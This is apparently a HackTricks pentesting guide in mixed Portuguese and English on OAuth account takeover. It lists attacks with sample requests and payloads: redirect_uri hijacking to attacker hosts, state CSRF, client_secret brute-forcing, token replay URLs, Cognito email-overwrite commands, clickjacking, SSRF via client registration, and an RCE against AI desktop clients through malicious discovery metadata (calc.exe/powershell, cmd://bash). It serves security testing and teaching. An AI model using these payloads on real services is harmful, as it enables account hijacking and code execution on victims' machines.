OAuth to Account takeover

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

OAuth oferece várias versões, com informações fundamentais acessíveis em OAuth 2.0 documentation. Esta discussão foca principalmente no amplamente usado OAuth 2.0 authorization code grant type, fornecendo um framework de autorização que permite que uma aplicação acesse ou execute ações na conta de um usuário em outra aplicação (o authorization server).

Considere um site hipotético https://example.com, projetado para exibir todas as suas postagens em redes sociais, incluindo as privadas. Para isso é utilizado OAuth 2.0. https://example.com pedirá sua permissão para acessar suas postagens em redes sociais. Consequentemente, uma tela de consentimento aparecerá em https://socialmedia.com, descrevendo as permissões solicitadas e o desenvolvedor que está fazendo a solicitação. Após sua autorização, https://example.com ganha a capacidade de acessar suas postagens em seu nome.

É essencial entender os seguintes componentes dentro do framework OAuth 2.0:

  • resource owner: Você, como usuário/entidade, autoriza o acesso ao seu recurso, como as postagens da sua conta em redes sociais.
  • resource server: O servidor que gerencia requisições autenticadas depois que a aplicação obteve um access token em nome do resource owner, por exemplo, https://socialmedia.com.
  • client application: A aplicação que busca autorização do resource owner, como https://example.com.
  • authorization server: O servidor que emite access tokens para a client application após a autenticação bem-sucedida do resource owner e obtenção da autorização, por exemplo, https://socialmedia.com.
  • client_id: Um identificador público e único para a aplicação.
  • client_secret: Uma chave confidencial, conhecida apenas pela aplicação e pelo authorization server, usada para gerar access_tokens.
  • response_type: Um valor que especifica o tipo de token solicitado, como code.
  • scope: O nível de acesso que a client application está solicitando ao resource owner.
  • redirect_uri: A URL para a qual o usuário é redirecionado após a autorização. Isso normalmente deve corresponder à URL de redirect pré-registrada.
  • state: Um parâmetro para manter dados durante o redirecionamento do usuário para o authorization server e de volta. Sua unicidade é crítica para servir como um mecanismo de proteção contra CSRF.
  • grant_type: Um parâmetro que indica o tipo de grant e o tipo de token a ser retornado.
  • code: O authorization code vindo do authorization server, usado em conjunto com client_id e client_secret pela client application para adquirir um access_token.
  • access_token: O token que a client application usa para requisições de API em nome do resource owner.
  • refresh_token: Permite que a aplicação obtenha um novo access_token sem re-promptar o usuário.

Fluxo

O fluxo real do OAuth procede da seguinte forma:

  1. Você navega até https://example.com e seleciona o botão “Integrar com Social Media”.
  2. O site então envia uma requisição para https://socialmedia.com pedindo sua autorização para permitir que a aplicação de https://example.com acesse suas postagens. A requisição é estruturada como:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. É apresentada uma página de consentimento.
  2. Após sua aprovação, Social Media envia uma resposta para a redirect_uri com os parâmetros code e state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com utiliza este code, juntamente com seu client_id e client_secret, para fazer uma requisição server-side para obter um access_token em seu nome, permitindo o acesso às permissões às quais você consentiu:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Finalmente, o processo conclui quando https://example.com emprega seu access_token para fazer uma chamada de API ao Social Media para acessar

Vulnerabilidades

Open redirect_uri

Per RFC 6749 §3.1.2, o servidor de autorização deve redirecionar o navegador apenas para redirect URIs pré-registradas e exatas. Qualquer fraqueza aqui permite que um atacante envie uma vítima por uma authorization URL maliciosa de modo que o IdP entregue o code (e o state) da vítima diretamente a um endpoint do atacante, que pode então trocá-lo e colher tokens.

Fluxo de ataque típico:

  1. Crie https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback e envie para a vítima.
  2. A vítima autentica-se e aprova os scopes.
  3. O IdP redireciona para attacker.tld/callback?code=<victim-code>&state=... onde o atacante registra a requisição e imediatamente troca o code.

Falhas comuns de validação a investigar:

  • No validation – qualquer URL absoluto é aceito, resultando em roubo instantâneo do code.
  • Weak substring/regex checks on the host – contorne com lookalikes tais como evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, ou match.com@evil.com.
  • IDN homograph mismatches – a validação ocorre na forma punycode (xn--), mas o navegador redireciona para o domínio Unicode controlado pelo atacante.
  • Arbitrary paths on an allowed host – apontar redirect_uri para /openredirect?next=https://attacker.tld ou qualquer endpoint XSS/user-content leaks o code através de redirects encadeados, Referer headers, ou JavaScript injetado.
  • Directory constraints without normalization – padrões como /oauth/* podem ser contornados com /oauth/../anything.
  • Wildcard subdomains – aceitar *.example.com significa que qualquer takeover (dangling DNS, S3 bucket, etc.) imediatamente fornece um callback válido.
  • Non-HTTPS callbacks – permitir URIs http:// dá a atacantes na rede (Wi‑Fi, proxy corporativo) a oportunidade de capturar o code em trânsito.

Também revise parâmetros auxiliares do tipo redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) e o documento de descoberta OpenID (/.well-known/openid-configuration) em busca de endpoints adicionais que possam herdar as mesmas falhas de validação.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Locking redirect_uri to “owned/first-party domains” doesn’t help if any allowlisted domain exposes attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow returns tokens in the URL (query or hash), an attacker can:

  1. Start a legitimate flow to mint a pre-token (e.g., an etoken in a multi-step Accounts Center/FXAuth flow).
  2. Send the victim an authorization URL that sets the allowlisted domain as redirect_uri/base_uri but points next/path into an attacker-controlled namespace (e.g., https://apps.facebook.com/<attacker_app>).
  3. After the victim approves, the IdP redirects to the attacker-controlled path with sensitive values in the URL (token, blob, codes, etc.).
  4. JavaScript on that page reads window.location and exfiltrates the values despite the domain being “trusted.”
  5. Replay the captured values against downstream privileged endpoints that only expect the redirect-carried tokens. Examples from the FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS na implementação de redirect

Como mencionado neste relatório de bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html pode ser possível que o redirect URL is being reflected in the response do servidor após o usuário se autenticar, estando vulnerable to XSS. Payload possível para testar:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Manuseio impróprio do parâmetro state

O parâmetro state é o token CSRF do Authorization Code flow: o cliente deve gerar um valor criptograficamente aleatório por instância do navegador, persistir em um local que apenas esse navegador possa ler (cookie, armazenamento local, etc.), enviá‑lo na requisição de autorização e rejeitar qualquer resposta que não retorne o mesmo valor. Sempre que o valor for estático, previsível, opcional ou não estiver vinculado à sessão do usuário, o atacante pode finalizar seu próprio fluxo OAuth, capturar a requisição final ?code= (sem enviá‑la) e depois coagir o navegador da vítima a reproduzir essa requisição, de modo que a conta da vítima fique vinculada ao perfil do provedor de identidade do atacante.

O padrão de replay é sempre o mesmo:

  1. O atacante autentica‑se no IdP com sua conta e intercepta o último redirect contendo o code (e qualquer state).
  2. Eles descartam essa requisição, guardam a URL e depois abusam de qualquer primitiva CSRF (link, iframe, formulário que se envia automaticamente) para forçar o navegador da vítima a carregá‑la.
  3. Se o cliente não valida o state, a aplicação consome o resultado de autorização do atacante e faz o login do atacante na conta da vítima no app.

Checklist prático para o manuseio de state durante testes:

  • Ausência total de state – se o parâmetro nunca aparecer, todo o login fica sujeito a CSRF.
  • state não exigido – remova‑o da requisição inicial; se o IdP ainda emitir códigos que o cliente aceita, a defesa é opt‑in.
  • state retornado não validado – modifique o valor na resposta (Burp, MITM proxy). Aceitar valores divergentes significa que o token armazenado nunca é comparado.
  • state previsível ou puramente baseado em dados – muitos apps colocam caminhos de redirect ou blobs JSON no state sem misturar entropia, permitindo que atacantes adivinhem valores válidos e reproduzam fluxos. Sempre prefixe/sufixe dados com entropia forte antes de codificar.
  • state fixation – se a app permitir que usuários forneçam o valor state (por exemplo, via URLs de autorização forjadas) e o reutilizar durante o fluxo, um atacante pode fixar um valor conhecido e reaproveitá‑lo entre vítimas.

PKCE pode complementar o state (especialmente para clientes públicos) vinculando o authorization code a um code verifier, mas clientes web ainda devem rastrear o state para evitar bugs de CSRF entre usuários/ligação de contas.

Antes do Account Takeover

  1. Sem verificação de email na criação de conta: Atacantes podem criar preventivamente uma conta usando o email da vítima. Se a vítima depois usar um serviço de terceiros para login, a aplicação pode inadvertidamente vincular essa conta de terceiro à conta pré-criada pelo atacante, levando a acesso não autorizado.
  2. Explorando verificação de email fraca em OAuth: Atacantes podem explorar serviços OAuth que não verificam emails registrando‑se e depois alterando o email da conta para o da vítima. Esse método igualmente arrisca acesso não autorizado à conta, similar ao primeiro cenário, mas por um vetor de ataque diferente.

Divulgação de Segredos

O client_id é intencionalmente público, mas o client_secret nunca deve ser recuperável por usuários finais. Deployments do Authorization Code que embutem o secret em APKs móveis, clientes desktop, ou single-page apps efetivamente entregam essa credencial a qualquer um que possa baixar o pacote. Sempre inspecione clientes públicos por:

  • Descompactar o APK/IPA, instalador desktop ou app Electron e buscar por client_secret, blobs Base64 que decodificam para JSON, ou endpoints OAuth codificados diretamente.
  • Revisar arquivos de configuração empacotados (plist, JSON, XML) ou strings decompiladas em busca de credenciais do cliente.

Depois que o atacante extrai o secret, ele só precisa roubar qualquer code de autorização da vítima (via um redirect_uri fraco, logs, etc.) para chamar /token de forma independente e cunhar access/refresh tokens sem envolver o app legítimo. Considere clientes públicos/nativos como incapazes de manter segredos — eles devem, em vez disso, confiar no PKCE (RFC 7636) para provar a posse de um code verifier por instância em vez de um secret estático. Durante os testes, confirme se PKCE é obrigatório e se o backend realmente rejeita trocas de token que omitirem ou o client_secret ou um code_verifier válido.

Bruteforce do client_secret

Você pode tentar fazer força bruta no client_secret de um provedor de serviço junto ao provedor de identidade para tentar roubar contas.
A requisição para BF pode ser parecida com:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Uma vez que o cliente tem o code and state, se eles aparecem em location.href ou document.referrer e são encaminhados para terceiros, eles leak. Dois padrões recorrentes:

  • Classic Referer leak: após o redirect OAuth, qualquer navegação que mantenha ?code=&state= na URL irá colocá-los no cabeçalho Referer enviado para CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: alguns SDKs (pixels/JS loggers) reagem a eventos postMessage e então enviam o location.href/referrer atual para APIs de backend usando um token fornecido na mensagem. Se você consegue injetar seu próprio token nesse fluxo (por exemplo, via um relay postMessage controlado pelo atacante), pode depois ler o histórico/logs de requisições da API do SDK e recuperar os artefatos OAuth da vítima embutidos nessas requisições.

Access Token Stored in Browser History

A garantia central do Authorization Code grant é que access tokens nunca chegam ao browser do resource owner. Quando implementações leak tokens no cliente, qualquer bug menor (XSS, Referer leak, proxy logging) se torna comprometimento instantâneo de conta. Sempre verifique:

  • Tokens in URLs – se access_token aparece na query/fragment, ele cai no histórico do navegador, logs do servidor, analytics e nos cabeçalhos Referer enviados a terceiros.
  • Tokens transiting untrusted middleboxes – retornar tokens via HTTP ou através de debugging/corporate proxies permite que observadores de rede os capturem diretamente.
  • Tokens stored in JavaScript state – stores React/Vue, variáveis globais, ou blobs JSON serializados expõem tokens a qualquer script na origin (incluindo payloads XSS ou extensões maliciosas).
  • Tokens persisted in Web StoragelocalStorage/sessionStorage retêm tokens muito depois do logout em dispositivos compartilhados e são acessíveis por scripts.

Qualquer uma dessas descobertas geralmente eleva bugs “baixos” (como um bypass de CSP ou DOM XSS) para takeover total da API porque o atacante pode simplesmente ler e replay o bearer token vazado.

Everlasting Authorization Code

Authorization codes devem ser curtos, single-use e replay-aware. Ao avaliar um fluxo, capture um code e:

  • Test the lifetime – RFC 6749 recomenda minutos, não horas. Tente trocar o code após 5–10 minutos; se ainda funcionar, a janela de exposição para qualquer code vazado é excessiva.
  • Test sequential reuse – envie o mesmo code duas vezes. Se a segunda requisição gerar outro token, atacantes podem clonar sessões indefinidamente.
  • Test concurrent redemption/race conditions – dispare duas requisições de token em paralelo (Burp intruder, turbo intruder). Emissores fracos às vezes concedem ambos.
  • Observe replay handling – uma tentativa de reuse não deve apenas falhar, mas também revogar quaisquer tokens já emitidos desse code. Caso contrário, um replay detectado deixa o primeiro token do atacante ativo.

Combinar um code permissivo a replay com qualquer redirect_uri ou bug de logging permite acesso persistente à conta mesmo após a vítima completar o login legítimo.

Authorization/Refresh Token not bound to client

Se você consegue obter o authorization code e trocá-lo por um token em um client/app diferente, você pode takeover outras contas. Teste por binding fraco:

  • Capturar um code para app A e enviá-lo ao token endpoint da app B; se ainda receber um token, o audience binding está quebrado.
  • Tentar endpoints de minting de tokens first-party que deveriam ser restritos aos seus próprios client IDs; se aceitarem state/app_id arbitrários enquanto apenas validam o code, você efetivamente realiza um authorization-code swap para emitir tokens first-party com privilégios maiores.
  • Verificar se o client binding ignora mismatches de nonce/redirect URI. Se uma página de erro ainda carregar SDKs que logam location.href, combine com Referer/telemetry leaks para roubar codes e resgatá-los em outro lugar.

Qualquer endpoint que troque code → token deve verificar o client emissor, redirect URI e nonce; caso contrário, um code roubado de qualquer app pode ser elevado a um access token first-party.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

Neste bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ você pode ver que o token que o AWS Cognito devolve ao usuário pode ter permissões suficientes para sobrescrever os dados do usuário. Portanto, se você consegue mudar o email de um usuário para um email diferente, pode ser possível assumir contas de outros usuários.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Para informações mais detalhadas sobre como abusar do AWS Cognito, veja AWS Cognito - Unauthenticated Enum Access.

Abusing other Apps tokens

Como mentioned in this writeup, fluxos OAuth que esperam receber o token (e não um code) podem ser vulneráveis se não verificarem que o token pertence ao app.

Isso porque um atacante poderia criar uma application supporting OAuth and login with Facebook (por exemplo) na sua própria aplicação. Então, uma vez que uma vítima faça login com Facebook na attackers application, o atacante poderia obter o OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Portanto, se o atacante conseguir que o usuário acesse sua própria OAuth application, ele poderá take over a conta da vítima em aplicações que estão esperando um token e não verificam se o token foi concedido ao app ID delas.

De acordo com this writeup, era possível fazer uma vítima abrir uma página com um returnUrl apontando para o host do atacante. Essa informação seria stored in a cookie (RU) e, em um passo posterior, o prompt iria ask o usuário se ele queria dar acesso a esse host do atacante.

Para contornar esse prompt, era possível abrir uma aba para iniciar o Oauth flow que setaria esse cookie RU usando o returnUrl, fechar a aba antes do prompt ser exibido, e abrir uma nova aba sem esse valor. Então, o prompt won’t inform about the attackers host, mas o cookie já teria sido definido para ele, de modo que o token will be sent to the attackers host na redireção.

Prompt Interaction Bypass

Como explicado em this video, algumas implementações OAuth permitem indicar o parâmetro GET prompt como None (&prompt=none) para prevent users being asked to confirm o acesso dado em um prompt na web se eles já estiverem logados na plataforma.

response_mode

Como explained in this video, pode ser possível indicar o parâmetro response_mode para especificar onde você quer que o code seja fornecido na URL final:

  • response_mode=query -> O code é fornecido dentro de um parâmetro GET: ?code=2397rf3gu93f
  • response_mode=fragment -> O code é fornecido dentro do fragmento da URL: #code=2397rf3gu93f
  • response_mode=form_post -> O code é fornecido dentro de um form POST com um input chamado code e o valor
  • response_mode=web_message -> O code é enviado em um post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs são alvos ideais para Clickjacking: se puderem ser colocados em frame, um atacante pode sobrepor gráficos customizados, esconder os botões reais e enganar usuários para aprovarem scopes perigosos ou linkarem contas. Construa PoCs que:

  1. Carreguem a IdP authorization URL dentro de um <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Usem posicionamento absoluto/truques de opacidade para alinhar botões falsos com os controles Allow/Approve escondidos.
  3. Opcionalmente prefiram parâmetros (scopes, redirect URI) para que a aprovação roubada beneficie imediatamente o atacante.

Durante os testes verifique se as páginas do IdP emitem X-Frame-Options: DENY/SAMEORIGIN ou uma Content-Security-Policy: frame-ancestors 'none' restritiva. Se nenhuma estiver presente, demonstre o risco com ferramentas como NCC Group’s clickjacking PoC generator e registre o quão facilmente uma vítima autoriza o app do atacante. Para ideias adicionais de payloads veja Clickjacking.

OAuth ROPC flow - 2 FA bypass

De acordo com this blog post, este é um fluxo OAuth que permite login via username e password. Se durante esse fluxo simples um token com acesso a todas as ações que o usuário pode executar for retornado, então é possível bypassar 2FA usando esse token.

ATO on web page redirecting based on open redirect to referrer

Este blogpost descreve como foi possível abusar de um open redirect usando o valor do referrer para abusar do OAuth e causar ATO. O ataque foi:

  1. A vítima acessa a página do atacante
  2. A vítima abre o link malicioso e um opener inicia o Google OAuth flow com response_type=id_token,code&prompt=none como parâmetros adicionais usando como referrer o site do atacante.
  3. No opener, depois que o provedor autoriza a vítima, ele a envia de volta ao valor do parâmetro redirect_uri (site da vítima) com um redirecionamento 30X que ainda mantém o site do atacante no referer.
  4. O site da vítima trigger the open redirect based on the referrer redirecionando o usuário vítima para o site do atacante; como o respose_type estava id_token,code, o code será enviado de volta ao atacante no fragment da URL permitindo que ele take over a conta do usuário via Google no site da vítima.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration em OAuth funciona como um vetor menos óbvio mas crítico para vulnerabilidades de segurança, especificamente para ataques de Server-Side Request Forgery (SSRF). Esse endpoint permite que servidores OAuth recebam detalhes sobre client applications, incluindo URLs sensíveis que podem ser exploradas.

Key Points:

  • Dynamic Client Registration costuma estar mapeado para /register e aceita detalhes como client_name, client_secret, redirect_uris, e URLs para logos ou JSON Web Key Sets (JWKs) via requisições POST.
  • Essa feature segue as especificações em RFC7591 e OpenID Connect Registration 1.0, que incluem parâmetros potencialmente vulneráveis a SSRF.
  • O processo de registro pode inadvertidamente expor servidores a SSRF de várias formas:
    • logo_uri: Uma URL para o logo do client application que pode ser fetchada pelo servidor, acionando SSRF ou levando a XSS se a URL for maltratada.
    • jwks_uri: Uma URL para o documento JWK do client, que se for maliciosamente construída pode fazer o servidor realizar requests outbound para um servidor controlado pelo atacante.
    • sector_identifier_uri: Referencia um array JSON de redirect_uris, que o servidor pode buscar, criando uma oportunidade de SSRF.
    • request_uris: Lista URIs de request permitidas para o client, que pode ser explorada se o servidor buscar essas URIs no início do processo de autorização.

Exploitation Strategy:

  • SSRF pode ser disparado registrando um novo client com URLs maliciosas em parâmetros como logo_uri, jwks_uri ou sector_identifier_uri.
  • Enquanto a exploração direta via request_uris pode ser mitigada por controles de whitelist, fornecer um request_uri pré-registrado e controlado pelo atacante pode facilitar SSRF durante a fase de autorização.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Pesquisas sobre CVE-2025-6514 (impactando clients mcp-remote como Claude Desktop, Cursor ou Windsurf) mostram como dynamic OAuth discovery se torna um primitive para RCE sempre que o client encaminha IdP metadata diretamente ao sistema operacional. O servidor remoto MCP retorna um authorization_endpoint controlado pelo atacante durante a troca de discovery (/.well-known/openid-configuration ou qualquer metadata RPC). mcp-remote ≤0.1.15 então chamaria o system URL handler (start, open, xdg-open, etc.) com qualquer string recebida, de modo que qualquer scheme/path suportado pelo OS é executado localmente.

Attack workflow

  1. Aponte o desktop agent para um servidor MCP/OAuth hostil (npx mcp-remote https://evil). O agent recebe 401 mais metadata.
  2. O servidor responde com JSON tal como:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. O cliente aciona o manipulador do SO para o URI fornecido. Windows aceita payloads como file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux aceitam file:///Applications/Calculator.app/... ou até esquemas customizados como cmd://bash -lc '<payload>' se registrados.
  2. Como isso ocorre antes de qualquer interação do usuário, apenas configurar o cliente para falar com o servidor do atacante resulta em execução de código.

How to test

  • Atinga qualquer desktop/agent compatível com OAuth que realize discovery via HTTP(S) e abra endpoints retornados localmente (Electron apps, CLI helpers, thick clients).
  • Intercepte ou hospede a resposta de discovery e substitua authorization_endpoint, device_authorization_endpoint, ou campos similares por file://, cmd://, caminhos UNC, ou outros esquemas perigosos.
  • Observe se o cliente valida o scheme/host. A falta de validação resulta em execução imediata no contexto do usuário e comprova o problema.
  • Repita com diferentes schemes para mapear toda a superfície de ataque (por exemplo, ms-excel:, data:text/html,, custom protocol handlers) e demonstrar alcance cross-platform.

OAuth providers Race Conditions

Se a plataforma que você está testando é um provedor OAuth read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, o campo sub identifica unicamente um usuário, mas seu formato varia conforme o Authorization Server. Para padronizar a identificação do usuário, alguns clients usam emails ou user handles. Contudo, isso é arriscado porque:

  • Alguns Authorization Servers não garantem que essas propriedades (como email) permaneçam imutáveis.
  • Em certas implementações — como “Login with Microsoft” — o client depende do campo email, que é controlado pelo usuário no Entra ID e não é verificado.
  • Um atacante pode explorar isso criando sua própria organização Azure AD (por exemplo, doyensectestorg) e usá-la para fazer um Microsoft login.
  • Mesmo que o Object ID (armazenado em sub) seja imutável e seguro, a dependência de um campo de email mutável pode permitir um account takeover (por exemplo, sequestrar uma conta como victim@gmail.com).

Client Confusion Attack

Em um Client Confusion Attack, uma aplicação que usa o OAuth Implicit Flow falha em verificar se o access token final foi especificamente gerado para seu próprio Client ID. Um atacante cria um site público que usa o OAuth Implicit Flow do Google, enganando milhares de usuários a se autenticarem e assim colhendo access tokens destinados ao site do atacante. Se esses usuários também tiverem contas em outro site vulnerável que não valida o Client ID do token, o atacante pode reutilizar os tokens colhidos para se passar pelas vítimas e takeover suas contas.

Scope Upgrade Attack

O tipo Authorization Code Grant envolve comunicação segura server-to-server para transmitir dados do usuário. Contudo, se o Authorization Server confia implicitamente em um parâmetro scope na Access Token Request (um parâmetro não definido no RFC), uma aplicação maliciosa poderia elevar os privilégios de um authorization code solicitando um scope maior. Após a geração do Access Token, o Resource Server deve verificá-lo: para tokens JWT, isso envolve checar a assinatura do JWT e extrair dados como client_id e scope, enquanto para tokens em string aleatória, o servidor deve consultar o Authorization Server para recuperar os detalhes do token.

Redirect Scheme Hijacking

Em implementações OAuth mobile, apps usam custom URI schemes para receber redirects com Authorization Codes. No entanto, como múltiplos apps podem registrar o mesmo scheme em um dispositivo, a suposição de que apenas o client legítimo controla o redirect URI é violada. No Android, por exemplo, um Intent URI como com.example.app:// é capturado com base no scheme e filtros opcionais definidos no intent-filter do app. Como a resolução de intents do Android pode ser ampla — especialmente se apenas o scheme for especificado — um atacante pode registrar um app malicioso com um intent filter cuidadosamente construído para hijack o authorization code. Isso pode permitir um account takeover seja por interação do usuário (quando múltiplos apps são elegíveis para lidar com o intent) ou por técnicas de bypass que exploram filtros excessivamente específicos, conforme detalhado pelo flowchart de avaliação da Ostorlab.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks